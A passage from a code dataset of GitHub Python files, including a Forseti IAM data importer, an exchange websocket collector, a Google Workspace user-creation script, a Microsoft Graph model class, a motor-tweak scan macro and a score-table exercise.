import.\"\"\"\n\n self.model.set_done(self.session)\n self.session.commit()\n\n\nclass TestImporter(object):\n \"\"\"Importer for testing purposes. Imports a test scenario.\"\"\"\n\n def __init__(self, session, model, dao, _):\n \"\"\"Create a TestImporter which creates a constant defined model.\n\n Args:\n session (object): Database session.\n model (str): Model name to create.\n dao (object): Data Access Object from dao.py.\n _ (object): Unused.\n \"\"\"\n self.session = session\n self.model = model\n self.dao = dao\n\n def run(self):\n \"\"\"Runs the import.\"\"\"\n\n project = self.dao.add_resource(self.session, 'project')\n instance = self.dao.add_resource(self.session, 'vm1', project)\n _ = self.dao.add_resource(self.session, 'db1', project)\n\n permission1 = self.dao.add_permission(\n self.session, 'cloudsql.table.read')\n permission2 = self.dao.add_permission(\n self.session, 'cloudsql.table.write')\n\n role1 = self.dao.add_role(self.session, 'sqlreader', [permission1])\n role2 = self.dao.add_role(\n self.session, 'sqlwriter', [\n permission1, permission2])\n\n group1 = self.dao.add_member(self.session, 'group1', 'group')\n group2 = self.dao.add_member(self.session, 'group2', 'group', [group1])\n\n _ = self.dao.add_member(self.session, 'felix', 'user', [group2])\n _ = self.dao.add_member(self.session, 'fooba', 'user', [group2])\n\n _ = self.dao.add_binding(self.session, instance, role1, [group1])\n _ = self.dao.add_binding(self.session, project, role2, [group2])\n self.session.commit()\n\n\ndef load_roles():\n \"\"\"Load curated roles.\n\n Returns:\n defaultdict(set): Map from role name to set of containing permissions.\n \"\"\"\n curated_roles = defaultdict(set)\n\n csv_content = roledef.CURATED_ROLES_CSV\n roles = csv.reader(csv_content.splitlines(),\n delimiter=',',\n quotechar='\"')\n for entry in roles:\n role = entry[0]\n permission = entry[1]\n curated_roles[role].add(permission)\n return curated_roles\n\n\nclass ForsetiImporter(object):\n \"\"\"Imports data from Forseti.\"\"\"\n\n def __init__(self, session, model, dao, service_config):\n \"\"\"Create a ForsetiImporter which creates a model from the Forseti DB.\n\n Args:\n session (object): Database session.\n model (str): Model name to create.\n dao (object): Data Access Object from dao.py.\n service_config (ServiceConfig): Service configurator.\n \"\"\"\n self.session = session\n self.model = model\n self.forseti_importer = forseti.Importer(\n service_config.forseti_connect_string)\n self.resource_cache = ResourceCache()\n self.role_cache = RoleCache()\n self.dao = dao\n self.curated_roles = load_roles()\n\n def _convert_organization(self, forseti_org):\n \"\"\"Creates a db object from a Forseti organization.\n\n Args:\n forseti_org (object): Forseti DB object for an organization.\n\n Returns:\n object: dao Resource() table object.\n \"\"\"\n\n org_name = 'organization/{}'.format(forseti_org.org_id)\n org = self.dao.TBL_RESOURCE(\n full_name=org_name,\n type_name=org_name,\n name=forseti_org.org_id,\n type='organization',\n parent=None)\n self.resource_cache['organization'] = (org, org_name)\n self.resource_cache[org_name] = (org, org_name)\n return org\n\n def _convert_folder(self, forseti_folder):\n \"\"\"Creates a db object from a Forseti folder.\n\n Args:\n forseti_folder (object): Forseti DB object for a folder.\n\n Returns:\n object: dao Resource() table object.\n \"\"\"\n\n parent_type_name = '{}/{}'.format(\n forseti_folder.parent_type,\n forseti_folder.parent_id)\n\n obj, full_res_name = self.resource_cache[parent_type_name]\n\n full_folder_name = '{}/folder/{}'.format(\n full_res_name, forseti_folder.folder_id)\n\n folder_type_name = 'folder/{}'.format(\n forseti_folder.folder_id)\n\n folder = self.dao.TBL_RESOURCE(\n full_name=full_folder_name,\n type_name=folder_type_name,\n name=forseti_folder.folder_id,\n type='folder',\n parent=obj,\n display_name=forseti_folder.display_name,\n )\n\n self.resource_cache[folder.type_name] = folder, full_folder_name\n return self.session.merge(folder)\n\n def _convert_project(self, forseti_project):\n \"\"\"Creates a db object from a Forseti project.\n\n Args:\n forseti_project (object): Forseti DB object for a project.\n\n Returns:\n object: dao Resource() table object.\n \"\"\"\n\n parent_type_name = '{}/{}'.format(\n forseti_project.parent_type,\n forseti_project.parent_id)\n\n obj, full_res_name = self.resource_cache[parent_type_name]\n project_name = 'project/{}'.format(forseti_project.project_number)\n full_project_name = '{}/project/{}'.format(\n full_res_name, forseti_project.project_number)\n project = self.session.merge(\n self.dao.TBL_RESOURCE(\n full_name=full_project_name,\n type_name=project_name,\n name=forseti_project.project_number,\n type='project',\n display_name=forseti_project.project_name,\n parent=obj))\n self.resource_cache[project.type_name] = (project, full_project_name)\n self.resource_cache[forseti_project.project_id] = (\n project, full_project_name)\n return project\n\n def _convert_bucket(self, forseti_bucket):\n \"\"\"Creates a db object from a Forseti bucket.\n\n Args:\n forseti_bucket (object): Forseti DB object for a bucket.\n\n Returns:\n object: dao Resource() table object.\n \"\"\"\n\n bucket_name = 'bucket/{}'.format(forseti_bucket.bucket_id)\n project_name = 'project/{}'.format(forseti_bucket.project_number)\n parent, full_parent_name = self.resource_cache[project_name]\n full_bucket_name = '{}/{}'.format(full_parent_name, bucket_name)\n bucket = self.session.merge(\n self.dao.TBL_RESOURCE(\n full_name=full_bucket_name,\n type_name=bucket_name,\n name=forseti_bucket.bucket_id,\n type='bucket',\n parent=parent))\n return bucket\n\n def _convert_instance(self, forseti_instance):\n \"\"\"Creates a db object from a Forseti gce instance.\n\n Args:\n forseti_instance (object): Forseti DB object for a gce instance.\n\n Returns:\n object: dao Resource() table object.\n \"\"\"\n\n instance_name = 'instance/{}#{}'.format(\n forseti_instance.project_id,\n forseti_instance.name)\n parent, full_parent_name = self.resource_cache[\n forseti_instance.project_id]\n\n full_instance_name = '{}/{}'.format(full_parent_name, instance_name)\n instance = self.session.merge(\n self.dao.TBL_RESOURCE(\n full_name=full_instance_name,\n type_name=instance_name,\n name=forseti_instance.name,\n type='instance',\n parent=parent))\n return instance\n\n def _convert_instance_group(self, forseti_instance_group):\n \"\"\"Creates a db object from a Forseti GCE instance group.\n\n Args:\n forseti_instance_group (object): Forseti DB object for a gce\n instance.\n\n Returns:\n object: dao Resource() table object.\n \"\"\"\n\n instance_group_name = '{}#{}'.format(\n forseti_instance_group.project_id,\n forseti_instance_group.name)\n instance_group_type_name = 'instancegroup/{}'.format(\n instance_group_name)\n parent, full_parent_name = self.resource_cache[\n forseti_instance_group.project_id]\n\n full_instance_name = '{}/{}'.format(\n full_parent_name, instance_group_type_name)\n\n instance = self.session.merge(\n self.dao.TBL_RESOURCE(\n full_name=full_instance_name,\n type_name=instance_group_type_name,\n name=instance_group_name,\n type='instancegroup',\n parent=parent))\n return instance\n\n def _convert_bigquery_dataset(self, forseti_bigquery_dataset):\n \"\"\"Creates a db object from a Forseti Bigquery dataset.\n\n Args:\n forseti_bigquery_dataset (object): Forseti DB object for a gce\n instance.\n\n Returns:\n object: dao Resource() table object.\n \"\"\"\n bigquery_dataset_name = '{}#{}'.format(\n forseti_bigquery_dataset.project_id,\n forseti_bigquery_dataset.dataset_id)\n bigquery_dataset_type_name = 'bigquerydataset/{}'.format(\n bigquery_dataset_name)\n parent, full_parent_name = self.resource_cache[\n forseti_bigquery_dataset.project_id]\n\n full_instance_name = '{}/{}'.format(\n full_parent_name, bigquery_dataset_type_name)\n\n instance = self.session.merge(\n self.dao.TBL_RESOURCE(\n full_name=full_instance_name,\n type_name=bigquery_dataset_type_name,\n name=bigquery_dataset_name,\n type='bigquerydataset',\n parent=parent))\n return instance\n\n def _convert_backend_service(self, forseti_backend_service):\n \"\"\"Creates a db object from a Forseti backend service.\n\n Args:\n forseti_backend_service (object): Forseti DB object for a gce\n backend service.\n\n Returns:\n object: dao Resource() table object.\n \"\"\"\n\n backend_service_name = '{}#{}'.format(\n forseti_backend_service.project_id,\n forseti_backend_service.name)\n backend_service_type_name = 'backendservice/{}'.format(\n backend_service_name)\n parent, full_parent_name = self.resource_cache[\n forseti_backend_service.project_id]\n\n full_instance_name = '{}/{}'.format(\n full_parent_name, forseti_backend_service)\n\n instance = self.session.merge(\n self.dao.TBL_RESOURCE(\n full_name=full_instance_name,\n type_name=backend_service_type_name,\n name=backend_service_name,\n type='backendservice',\n parent=parent))\n return instance\n\n def _convert_cloudsqlinstance(self, forseti_cloudsqlinstance):\n \"\"\"Creates a db sql instance from a Forseti sql instance.\n\n Args:\n forseti_cloudsqlinstance (object): Forseti DB object\n for a sql instance.\n\n Returns:\n object: dao Resource() table object.\n \"\"\"\n\n sqlinst_name = 'cloudsqlinstance/{}'.format(\n forseti_cloudsqlinstance.name)\n project_name = 'project/{}'.format(\n forseti_cloudsqlinstance.project_number)\n parent, full_parent_name = self.resource_cache[project_name]\n full_sqlinst_name = '{}/{}'.format(full_parent_name, sqlinst_name)\n sqlinst = self.session.merge(\n self.dao.TBL_RESOURCE(\n full_name=full_sqlinst_name,\n type_name=sqlinst_name,\n name=forseti_cloudsqlinstance.name,\n type='cloudsqlinstance',\n parent=parent))\n return sqlinst\n\n def _convert_binding(self, res_type, res_id, binding):\n \"\"\"Converts a policy binding into the respective db model.\n\n Args:\n res_type (str): Type of the bound resource\n res_id (str): Id of the bound resource\n binding (dict): role:members dictionary\n \"\"\"\n members = []\n for member in binding.iter_members():\n members.append(self.session.merge(\n self.dao.TBL_MEMBER(\n name='{}/{}'.format(member.get_type(),\n member.get_name()),\n member_name=member.get_name(),\n type=member.get_type())))\n\n try:\n role = (\n self.session.query(self.dao.TBL_ROLE)\n .filter(self.dao.TBL_ROLE.name == binding.get_role())\n .one())\n except Exception: # pylint: disable=broad-except\n try:\n permission_names = self._get_permissions_for_role(\n binding.get_role())\n except KeyError as err:\n self.model.add_warning(self.session, str(err))\n permission_names = []\n\n permissions = (\n [self.session.merge(self.dao.TBL_PERMISSION(name=p))\n for p in permission_names])\n role = self.dao.TBL_ROLE(name=binding.get_role(),\n permissions=permissions)\n for permission in permissions:\n self.session.add(permission)\n self.session.add(role)\n\n res_type_name = '{}/{}'.format(res_type, res_id)\n resource = (\n self.session.query(self.dao.TBL_RESOURCE)\n .filter(self.dao.TBL_RESOURCE.type_name == res_type_name)\n .one())\n self.session.add(\n self.dao.TBL_BINDING(resource=resource,\n role=role,\n members=members))\n\n def _convert_policy(self, forseti_policy):\n \"\"\"Creates a db object from a Forseti policy.\n\n Args:\n forseti_policy (object): Forseti DB object for a policy.\n \"\"\"\n\n res_type, res_id = forseti_policy.get_resource_reference()\n policy = Policy(forseti_policy)\n for binding in policy.iter_bindings():\n self._convert_binding(res_type, res_id, binding)\n\n def _convert_membership(self, forseti_membership):\n \"\"\"Creates a db membership from a Forseti membership.\n\n Args:\n forseti_membership (object): Forseti DB object for a membership.\n\n Returns:\n object: dao Membership() table object.\n \"\"\"\n\n member, groups = forseti_membership\n\n groups = [self.session.merge(\n self.dao.TBL_MEMBER(name='group/{}'.format(group.group_email),\n type='group',\n member_name=group.group_email))\n for group in groups]\n\n member_type = member.member_type.lower()\n member_name = member.member_email\n return self.session.merge(self.dao.TBL_MEMBER(\n name='{}/{}'.format(member_type, member_name),\n type=member_type,\n member_name=member_name,\n parents=groups))\n\n def _convert_group(self, forseti_group):\n \"\"\"Creates a db group from a Forseti group.\n\n Args:\n forseti_group (object): Forseti DB object for a group.\n\n Returns:\n object: dao Member() table object.\n \"\"\"\n\n return self.session.merge(\n self.dao.TBL_MEMBER(name='group/{}'.format(forseti_group),\n type='group',\n member_name=forseti_group))\n\n def _get_permissions_for_role(self, role_type_name):\n \"\"\"Returns permissions defined for that role name.\n Args:\n role_type_name (str): role name in format roles/name to get\n the respective permissions for.\n Returns:\n set: Set of permissions containing the role.\n\n Raises:\n KeyError: If the role could not be found.\n \"\"\"\n\n role_name = role_type_name.split('/', 1)[-1]\n if role_name not in self.curated_roles:\n warning = 'Permissions for role not found: {}'.format(role_name)\n raise KeyError(warning)\n return self.curated_roles[role_name]\n\n def run(self):\n \"\"\"Runs the import.\n\n Raises:\n NotImplementedError: If the importer encounters an unknown\n inventory type.\n \"\"\"\n\n try:\n self.session.add(self.session.merge(self.model))\n self.model.set_inprogress(self.session)\n self.model.kick_watchdog(self.session)\n\n actions = {\n 'organizations': self._convert_organization,\n 'folders': self._convert_folder,\n 'projects': self._convert_project,\n 'buckets': self._convert_bucket,\n 'cloudsqlinstances': self._convert_cloudsqlinstance,\n 'group': self._convert_group,\n 'membership': self._convert_membership,\n 'instances': self._convert_instance,\n 'instancegroups': self._convert_instance_group,\n 'bigquerydatasets': self._convert_bigquery_dataset,\n 'backendservices': self._convert_backend_service,\n }\n\n item_counter = 0\n last_watchdog_kick = time()\n for res_type, obj in self.forseti_importer:\n item_counter += 1\n if res_type in actions:\n self.session.add(actions[res_type](obj))\n elif res_type == 'policy':\n self._convert_policy(obj)\n elif res_type == 'customer':\n # TODO: investigate how we\n # don't see this in the first place\n pass\n else:\n raise NotImplementedError(res_type)\n\n # kick watchdog about every ten seconds\n if time() - last_watchdog_kick > 10.0:\n self.model.kick_watchdog(self.session)\n last_watchdog_kick = time()\n\n self.dao.denorm_group_in_group(self.session)\n\n except Exception: # pylint: disable=broad-except\n buf = StringIO()\n traceback.print_exc(file=buf)\n buf.seek(0)\n message = buf.read()\n self.model.set_error(self.session, message)\n else:\n self.model.set_done(self.session, item_counter)\n self.session.commit()\n\n\ndef by_source(source):\n \"\"\"Helper to resolve client provided import sources.\n\n Args:\n source (str): Source to import from.\n\n Returns:\n Importer: Chosen by source.\n \"\"\"\n\n return {\n 'TEST': TestImporter,\n 'FORSETI': ForsetiImporter,\n 'EMPTY': EmptyImporter,\n }[source.upper()]\n","repo_name":"joshiumang107/forseti-security","sub_path":"google/cloud/security/iam/explain/importer/importer.py","file_name":"importer.py","file_ext":"py","file_size_in_byte":22156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36549531499","text":"from classes.Global_vars import Global_vars\nimport gc\nimport os\nimport psutil\nimport tracemalloc\nimport time\nimport datetime\nimport pytz\nimport json\nimport threading\nimport websocket\nfrom classes.MyAsyncioWebsocket import MyAsyncioWebsocket\n\nwebsocket._logging._logger.level = -99\n\n\nclass Websocketclass():\n\n def __init__(self,\n connection=\"\",\n columnformat={\n \"dt\": None,\n \"exchange\": None,\n \"pair\": None,\n\n \"a\": None,\n \"av\": None,\n \"awlv\": None,\n \"alv\": None,\n \"totalav\": None,\n\n \"b\": None,\n \"bv\": None,\n \"bwlv\": None,\n \"blv\": None,\n \"totalbv\": None,\n\n \"lp\": None,\n \"lv\": None,\n\n \"vtd\": None,\n \"v24\": None,\n\n \"vwap\": None,\n \"wap\": None,\n \"vwaptd\": None,\n \"vwap24\": None,\n \"bav24\": None,\n \"qav24\": None,\n \"pchange24\": None,\n \"numttd\": None,\n \"numt24\": None,\n\n \"o\": None,\n \"o24\": None,\n \"h\": None,\n \"h24\": None,\n \"l\": None,\n \"l24\": None,\n \"c\": None,\n \"clv\": None\n },\n generatepairs={\n \"jsonpath\": './json/currencypairs.json',\n \"switchplaces\": False,\n \"lowercase\": False,\n \"jsonloads\": False,\n \"before\": \"\",\n \"between\": \"\",\n \"after\": \"\",\n \"remove\": [],\n \"replace\": [[\"\", \"\"]],\n\n },\n ws_runforever={\n \"ping_interval\": 4, # cex debug\n \"origin\": None,\n \"ping_timeout\": 3\n }, ws_subscription={\n # \"method\": \"SUBSCRIBE\",\n # \"params\": \"%iterate%\", #pairs are iterated over, each has own send(), replace %iterate%\n # \"params\": \"%list%\"\", #pairs are iterated over and put into list and appended once[pair+\",\"+pair] replace %list%\n # \"params\": \"\",# if no %% specified nothing will be added\n }, orderbook_depth=50 # change from 20 to 50 because coinbase error\n ):\n\n # Thread.__init__(self)\n self.connection = connection\n self.columnformat = columnformat.copy()\n self.generatepairs = generatepairs.copy()\n self.ws_runforever = ws_runforever.copy()\n self.ws_subscription = ws_subscription.copy()\n self.orderbook_depth = orderbook_depth\n Global_vars.data_queue[self.__class__.__name__] = []\n gc.set_threshold(200, 10, 10)\n \n def init_vars(self):\n self.orderbooks = dict.fromkeys(self.pairs)\n self.last_bestaskbids = dict.fromkeys(self.pairs)\n \n Global_vars.data_queue[self.__class__.__name__].append(\n Global_vars.csv_columns[self.__class__.__name__])\n\n def init_after(self):\n tcolumns = []\n for k, v in self.columnformat.items():\n if v != None:\n tcolumns.append(k)\n Global_vars.csv_columns[self.__class__.__name__] = tcolumns\n\n tlist = []\n\n f = open(self.generatepairs['jsonpath'], 'r')\n pairs = json.load(f)['pairs']\n # self.lastdicts = {} # avoid duplicates\n\n for v in pairs:\n v1, v2 = v[0], v[1]\n #self.lastdicts[v1+v2] = None\n if self.generatepairs['switchplaces']:\n v1, v2 = v[1], v[0]\n if self.generatepairs['lowercase']:\n v1 = v1.lower()\n v2 = v2.lower()\n\n pair = self.generatepairs['before'] + v1 + \\\n self.generatepairs['between']+v2 + self.generatepairs['after']\n for old, new in self.generatepairs['replace']:\n pair = pair.replace(old, new)\n for rm in self.generatepairs['remove']:\n pair = pair.replace(rm, '')\n\n tlist.append(json.loads(pair)\n if self.generatepairs['jsonloads'] else pair)\n\n self.pairs = tlist\n\n # have to be reinitialized on new thread, not if using Websocketclass.__init__()\n self.orderbooks = dict.fromkeys(self.pairs)#in self.init_vars()\n self.last_bestaskbids = dict.fromkeys(self.pairs)\n\n\n self.process_keep_running = True # Bittrex\n \n self.thread = threading.Thread(target=self.ws_thread)\n self.thread.daemon = True\n self.thread.start()\n \n \n\n def update_book(self, pair, side, data, pricepos, volumepos):\n\n for x in data:\n price = x[pricepos]\n if float(x[volumepos]) > 0:\n self.orderbooks[pair][side].update(\n {price: float(x[volumepos])})\n\n elif price in self.orderbooks[pair][side]:\n del self.orderbooks[pair][side][price]\n\n self.orderbooks[pair][side] = dict(list(sorted(self.orderbooks[pair][side].items(\n ), key=lambda x: float(x[0]), reverse=(True if side == \"bid\" else False)))[:int(self.orderbook_depth)])\n\n def append_data_list(self, myDict):\n l = []\n for k, v in myDict.items():\n if v != None:\n v = str(v)\n if k != \"dt\" and \".\" in v:#fix for numbers without \".\" (Cex)\n v = v.strip(\"0\")\n if v[-1]==\".\":\n v = v[:-1]\n l.append(v)\n Global_vars.data_queue[self.__class__.__name__].append(l)\n\n def ws_message(self, ws, j): # replace with childclass ws_message\n raise Exception('Please specify ws_message for childclass',\n self.__class__.__name__)\n\n def get_datetime(self):\n return Global_vars.get_datetime()\n\n async def ws_open(self, ws):\n self.init_vars()\n j = self.ws_subscription\n j = json.dumps(j)\n if len(j) == 0:\n print(self.__class__.__name__, \"no ws subscription specified\")\n return\n\n if \"%iterate%\" in j:\n for pair in self.pairs:\n subscription = j\n subscription = j.replace('%iterate%', pair)\n await ws.send(json.dumps(json.loads(subscription)))\n\n elif \"%list%\" in j:\n subscription = j.replace('\"%list%\"', json.dumps(self.pairs)).replace(\n \"'%list%'\", json.dumps(self.pairs))\n await ws.send(json.dumps(json.loads(subscription)))\n else:\n await ws.send(json.dumps(j))\n\n async def reroute_ws_open(self, ws):\n await self.ws_open(ws)\n\n # async def reroute_ws_message(self, ws, msg):\n # await self.ws_message(ws, json.loads(msg))\n\n def ws_thread(self, reconnecting=False):\n if reconnecting:\n print(self.__class__.__name__, \"websocket reconnecting\",\n threading.current_thread().name)\n else:\n print(self.__class__.__name__, \"websocket \",\n threading.current_thread().name)\n\n # websocket.enableTrace(True)\n # self.ws = websocket.WebSocketApp(\n # self.connection,\n # on_open=lambda ws: self.reroute_ws_open(ws),\n # on_message=lambda ws, msg: self.reroute_ws_message(ws, msg),\n # )\n\n # self.ws.run_forever(\n # ping_interval=self.ws_runforever['ping_interval'], origin=self.ws_runforever['origin'], ping_timeout=self.ws_runforever['ping_timeout'])\n\n self.ws = MyAsyncioWebsocket(\n connection=self.connection, on_open=lambda ws: self.reroute_ws_open(\n ws),\n on_message=lambda ws, msg: self.ws_message(ws, json.loads(msg)),\n exchangename=self.__class__.__name__)\n self.ws.keep_running = True\n\n self.ws.run_ws()\n\n\n if self.ws.keep_running:\n self.ws_thread(True)\n\n def stop_ws_thread(self):\n if self.__class__.__name__ != \"Bittrex\":\n self.ws.keep_running = False\n else:\n self.process_keep_running = False # keep for bittrex\n #self.thread.join()#isDaemon\n print(self.__class__.__name__+\" shut down\")\n","repo_name":"AmosDinh/CryptoExchange_DataCollector_","sub_path":"classes/Websocketclass.py","file_name":"Websocketclass.py","file_ext":"py","file_size_in_byte":8602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42918114571","text":"from __future__ import print_function\r\nimport pickle\r\nimport os.path\r\nfrom googleapiclient.discovery import build\r\nfrom google_auth_oauthlib.flow import InstalledAppFlow\r\nfrom google.auth.transport.requests import Request\r\n\r\nSCOPES = ['https://www.googleapis.com/auth/admin.directory.user']\r\n\r\ndef main():\r\n creds = None\r\n if os.path.exists('token.pickle'):\r\n with open('token.pickle', 'rb') as token:\r\n creds = pickle.load(token)\r\n if not creds or not creds.valid:\r\n if creds and creds.expired and creds.refresh_token:\r\n creds.refresh(Request())\r\n else:\r\n flow = InstalledAppFlow.from_client_secrets_file(\r\n 'credentials.json', SCOPES)\r\n creds = flow.run_local_server(port=0)\r\n with open('token.pickle', 'wb') as token:\r\n pickle.dump(creds, token)\r\n\r\n service = build('admin', 'directory_v1', credentials=creds)\r\n\r\n firstname = input('Введите имя сотрудника: ')\r\n lastname = input('Введите фамилию сотрудника: ')\r\n mail = input('придумайте почту для сотрудника: ')\r\n if mail.rfind('@') == -1:\r\n print('Вы забыли ввести домен почты')\r\n mail = mail + '@' + input('введите домен (например example.com): ')\r\n passw = input('придумайте и введите пароль: ')\r\n newuser = {\r\n 'primaryEmail': mail,\r\n 'name': {\r\n 'familyName': firstname,\r\n 'givenName': lastname\r\n },\r\n 'password': passw\r\n }\r\n service.users().insert(body = newuser).execute() \r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"n1k1t0s/entry-task","sub_path":"entrytask.py","file_name":"entrytask.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40708389858","text":"from __future__ import annotations\nfrom dataclasses import dataclass, field\nfrom kiota_abstractions.serialization import AdditionalDataHolder, Parsable, ParseNode, SerializationWriter\nfrom kiota_abstractions.store import BackedModel, BackingStore, BackingStoreFactorySingleton\nfrom typing import Any, Callable, Dict, List, Optional, TYPE_CHECKING, Union\n\nif TYPE_CHECKING:\n from .cloud_pc_audit_actor_type import CloudPcAuditActorType\n from .cloud_pc_user_role_scope_tag_info import CloudPcUserRoleScopeTagInfo\n\n@dataclass\nclass CloudPcAuditActor(AdditionalDataHolder, BackedModel, Parsable):\n # Stores model information.\n backing_store: BackingStore = field(default_factory=BackingStoreFactorySingleton(backing_store_factory=None).backing_store_factory.create_backing_store, repr=False)\n\n # Stores additional data not described in the OpenAPI description found when deserializing. Can be used for serialization as well.\n additional_data: Dict[str, Any] = field(default_factory=dict)\n # Name of the application.\n application_display_name: Optional[str] = None\n # Microsoft Entra application ID.\n application_id: Optional[str] = None\n # IP address.\n ip_address: Optional[str] = None\n # The OdataType property\n odata_type: Optional[str] = None\n # The delegated partner tenant ID.\n remote_tenant_id: Optional[str] = None\n # The delegated partner user ID.\n remote_user_id: Optional[str] = None\n # Service Principal Name (SPN).\n service_principal_name: Optional[str] = None\n # The type property\n type: Optional[CloudPcAuditActorType] = None\n # Microsoft Entra user ID.\n user_id: Optional[str] = None\n # List of user permissions and application permissions when the audit event was performed.\n user_permissions: Optional[List[str]] = None\n # User Principal Name (UPN).\n user_principal_name: Optional[str] = None\n # List of role scope tags.\n user_role_scope_tags: Optional[List[CloudPcUserRoleScopeTagInfo]] = None\n \n @staticmethod\n def create_from_discriminator_value(parse_node: Optional[ParseNode] = None) -> CloudPcAuditActor:\n \"\"\"\n Creates a new instance of the appropriate class based on discriminator value\n param parse_node: The parse node to use to read the discriminator value and create the object\n Returns: CloudPcAuditActor\n \"\"\"\n if not parse_node:\n raise TypeError(\"parse_node cannot be null.\")\n return CloudPcAuditActor()\n \n def get_field_deserializers(self,) -> Dict[str, Callable[[ParseNode], None]]:\n \"\"\"\n The deserialization information for the current model\n Returns: Dict[str, Callable[[ParseNode], None]]\n \"\"\"\n from .cloud_pc_audit_actor_type import CloudPcAuditActorType\n from .cloud_pc_user_role_scope_tag_info import CloudPcUserRoleScopeTagInfo\n\n from .cloud_pc_audit_actor_type import CloudPcAuditActorType\n from .cloud_pc_user_role_scope_tag_info import CloudPcUserRoleScopeTagInfo\n\n fields: Dict[str, Callable[[Any], None]] = {\n \"applicationDisplayName\": lambda n : setattr(self, 'application_display_name', n.get_str_value()),\n \"applicationId\": lambda n : setattr(self, 'application_id', n.get_str_value()),\n \"ipAddress\": lambda n : setattr(self, 'ip_address', n.get_str_value()),\n \"@odata.type\": lambda n : setattr(self, 'odata_type', n.get_str_value()),\n \"remoteTenantId\": lambda n : setattr(self, 'remote_tenant_id', n.get_str_value()),\n \"remoteUserId\": lambda n : setattr(self, 'remote_user_id', n.get_str_value()),\n \"servicePrincipalName\": lambda n : setattr(self, 'service_principal_name', n.get_str_value()),\n \"type\": lambda n : setattr(self, 'type', n.get_enum_value(CloudPcAuditActorType)),\n \"userId\": lambda n : setattr(self, 'user_id', n.get_str_value()),\n \"userPermissions\": lambda n : setattr(self, 'user_permissions', n.get_collection_of_primitive_values(str)),\n \"userPrincipalName\": lambda n : setattr(self, 'user_principal_name', n.get_str_value()),\n \"userRoleScopeTags\": lambda n : setattr(self, 'user_role_scope_tags', n.get_collection_of_object_values(CloudPcUserRoleScopeTagInfo)),\n }\n return fields\n \n def serialize(self,writer: SerializationWriter) -> None:\n \"\"\"\n Serializes information the current object\n param writer: Serialization writer to use to serialize this model\n Returns: None\n \"\"\"\n if not writer:\n raise TypeError(\"writer cannot be null.\")\n writer.write_str_value(\"applicationDisplayName\", self.application_display_name)\n writer.write_str_value(\"applicationId\", self.application_id)\n writer.write_str_value(\"ipAddress\", self.ip_address)\n writer.write_str_value(\"@odata.type\", self.odata_type)\n writer.write_str_value(\"remoteTenantId\", self.remote_tenant_id)\n writer.write_str_value(\"remoteUserId\", self.remote_user_id)\n writer.write_str_value(\"servicePrincipalName\", self.service_principal_name)\n writer.write_enum_value(\"type\", self.type)\n writer.write_str_value(\"userId\", self.user_id)\n writer.write_collection_of_primitive_values(\"userPermissions\", self.user_permissions)\n writer.write_str_value(\"userPrincipalName\", self.user_principal_name)\n writer.write_collection_of_object_values(\"userRoleScopeTags\", self.user_role_scope_tags)\n writer.write_additional_data_value(self.additional_data)\n \n\n","repo_name":"microsoftgraph/msgraph-beta-sdk-python","sub_path":"msgraph_beta/generated/models/cloud_pc_audit_actor.py","file_name":"cloud_pc_audit_actor.py","file_ext":"py","file_size_in_byte":5580,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"48"} +{"seq_id":"36153598550","text":"from ..environment import macro, MacroSyntaxError\nfrom .Mesh import Mesh\nimport tty\nimport sys\nimport termios\nfrom ..motors import all_are_motors\n\n# constants to keep track of key buttons\nKEY_UP = '\\x1b[A'\nKEY_DOWN = '\\x1b[B'\nKEY_RIGHT = '\\x1b[C'\nKEY_LEFT = '\\x1b[D'\n\n\ndef getarrowkey():\n \"\"\"\n A function which waits for a keypress and returns one of the above\n constants.\n \"\"\"\n ch = None\n fd = sys.stdin.fileno()\n old_settings = termios.tcgetattr(fd)\n try:\n tty.setcbreak(sys.stdin.fileno())\n ch = sys.stdin.read(3)\n finally:\n termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)\n if ch in (KEY_UP, KEY_DOWN, KEY_RIGHT, KEY_LEFT):\n return ch\n else:\n return None\n\n\n@macro\nclass Tweak(Mesh):\n \"\"\"\n An interactive scan where motor positions are chosen manually for\n each point. Useful for tweaking motors and reading the currently\n active detectors after each step. ::\n\n tweak [ ] \n \"\"\"\n\n def __init__(self, *args, **kwargs):\n try:\n exposuretime = float(args[-1])\n super(Mesh, self).__init__(exposuretime)\n self.motors = args[:-1:2]\n self.steps = args[1::2]\n self.n_positions = 1000\n assert len(args) in (3, 5)\n assert all_are_motors(self.motors)\n except:\n raise\n raise MacroSyntaxError\n print('\\nUse the arrow keys to tweak motors and ctrl-C to stop.')\n\n def _generate_positions(self):\n positions = {m.name: m.position() for m in self.motors}\n yield positions\n n = 1\n while n < self.n_positions:\n key = getarrowkey()\n imotor = 0 if key in (KEY_LEFT, KEY_RIGHT) else -1\n direction = -1 if key in (KEY_DOWN, KEY_LEFT) else 1\n positions[self.motors[imotor].name] \\\n += direction * self.steps[imotor]\n yield positions\n n += 1\n\n def _before_move(self):\n # Override so as not to respect the scheduler.\n pass\n","repo_name":"maxiv-science/contrast","sub_path":"contrast/scans/Tweak.py","file_name":"Tweak.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"24028490661","text":"\n\nfrom difflib import Differ\nimport math\n\n\nscore = [\n [100, 100, 100], [20, 20, 20], [30, 30, 30],\n [40, 40, 40], [50, 50, 50] ]\n\nkortotal = 0\nengtotal = 0\nmathtotal = 0\n\ntotalsum = 0\navg = 0.0\n\nprint(\"번호 국어 영어 수학 총점 평균\".replace(\" \",\"\\t\"))\n\n\nprint(\"----------------------------------------------\")\n\nfor i in range(len(score)):\n sum = 0\n average = 0.0\n \n kortotal += score[i][0]\n engtotal += score[i][1]\n mathtotal += score[i][2]\n\n print(\"{}\".format(i+1),end=\"\\t\")\n \n for j in range(len(score[i])):\n sum += score[i][j] \n print(\"{}\".format(score[i][j]),end=\"\\t\")\n totalsum += sum\n average = sum / len(score[i])\n avg += average\n print(\"{} {}\".format(sum,average).replace(\" \",\"\\t\"))\nprint(\"총점 국어{} 영어{} 수학{} 전체총점{} 전체평균{}\".format(kortotal,engtotal,mathtotal,totalsum,avg),end=\"\\t\")\n 